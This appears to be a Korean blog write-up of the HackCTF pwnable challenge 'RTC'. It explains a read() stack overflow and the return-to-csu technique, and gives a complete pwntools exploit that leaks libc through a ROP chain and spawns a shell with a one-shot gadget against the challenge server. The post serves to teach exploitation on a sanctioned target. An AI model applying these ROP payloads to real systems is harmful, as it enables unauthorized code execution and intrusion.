2019. 10. 22. 11:30ㆍWargame & CTF/HackCTF
Summary
64bit
return to csu
Analysis
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-40h]
setvbuf(stdin, 0LL, 2, 0LL);
write(1, "Hey, ROP! What's Up?\n", 0x15uLL);
return read(0, &buf, 0x200uLL);
}
read에서 버퍼오버플로우가 생긴다.
return to csu 기법을 처음 해보았다.
__libc_csu_init 에서 2부분을 사용한다.
Dump of assembler code for function __libc_csu_init:
...생략...
0x00000000004006a0 <+64>: mov rdx,r13
0x00000000004006a3 <+67>: mov rsi,r14
0x00000000004006a6 <+70>: mov edi,r15d
0x00000000004006a9 <+73>: call QWORD PTR [r12+rbx*8]
0x00000000004006ad <+77>: add rbx,0x1
0x00000000004006b1 <+81>: cmp rbx,rbp
0x00000000004006b4 <+84>: jne 0x4006a0 <__libc_csu_init+64>
0x00000000004006b6 <+86>: add rsp,0x8
0x00000000004006ba <+90>: pop rbx
0x00000000004006bb <+91>: pop rbp
0x00000000004006bc <+92>: pop r12
0x00000000004006be <+94>: pop r13
0x00000000004006c0 <+96>: pop r14
0x00000000004006c2 <+98>: pop r15
0x00000000004006c4 <+100>: ret
__libc_csu_init+64부분과 __libc_csu_init+90부분을 사용하게 된다.
__libc_csu_init+90을 보면 rbx, rbp, r12, r13, r14, r15를 pop한다.
__libc_csu_init+64를 보면 r13->rbx, r14->rsi, r15d->edi를 하고 r12+rbx*8을 call한다.
일단 r13, r14, r15를 이용해서 rbx, rsi, edi를 채울수 있다는것을 알수있다.
r12+rbx*8을 call하므로 r12에는 함수의 got, rbx는 0을 넣으면 된다. qword ptr이기때문에 got를 줘야한다.
그리고 rbx에 1을 대입하고 rbx와 rbp를 비교해서 같지 않으면 다시 __libc_csu_init+64로 점프를 뛴다.
rbx와 rbp가 같아야 하므로 rbp에 1을 넣어준다.
__libc_csu_init+90을 call하고 0, 1, function_addr(got), rbx, rsi, edi를 주고 __libc_csu_init+64를 하면 원하는 함수가 실행된다.
원하는 함수가 실행되고 add rsp, 0x8 pop rbx pop rbp pop r12 pop r13 pop r14 pop r15를 하기 때문에 총 56바이트를 0으로 주면 된다.
write로 read의 주소를 구하고 libc_base를 구한 후 원샷가젯으로 쉘을 땄다.
Exploit
from pwn import *
e = ELF("./rtc")
#p = process("./rtc")
p = remote("ctf.j0n9hyun.xyz", 3025)
libc = ELF("./libc.so.6")
oneshot = 0x4526a
p.recvuntil("Hey, ROP! What's Up?\n")
payload = ""
payload += "A"*(0x40+0x8)
payload += p64(e.symbols["__libc_csu_init"]+90)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(e.got["write"])
payload += p64(0x8)
payload += p64(e.got["read"])
payload += p64(0x1)
payload += p64(e.symbols["__libc_csu_init"]+64)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(e.symbols["main"])
p.sendline(payload)
read_addr = u64(p.recvuntil("\x7f")[-6:] + "\x00\x00")
libc_base = read_addr - libc.symbols["read"]
p.recvuntil("Hey, ROP! What's Up?\n")
payload = ""
payload += "A"*(0x40+0x8)
payload += p64(libc_base + oneshot)
p.sendline(payload)
p.interactive()
Flag
cg10036@cg10036-virtual-machine:~/hackCTF/RTC$ p ex.py
[*] '/home/cg10036/hackCTF/RTC/rtc'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to ctf.j0n9hyun.xyz on port 3025: Done
[*] '/home/cg10036/hackCTF/RTC/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Switching to interactive mode
$ cat flag
HackCTF{4ll_r1ght_c5u_1n1t!}
'Wargame & CTF > HackCTF' 카테고리의 다른 글
[HackCTF / pwnable] Beginner_Heap (0) | 2019.11.26 |
---|---|
[HackCTF / pwnable] SysROP (0) | 2019.10.28 |
[HackCTF / pwnable] You are silver (0) | 2019.10.19 |
[HackCTF / pwnable] Unexploitable #1 (0) | 2019.10.18 |
[HackCTF / pwnable] ROP (0) | 2019.10.18 |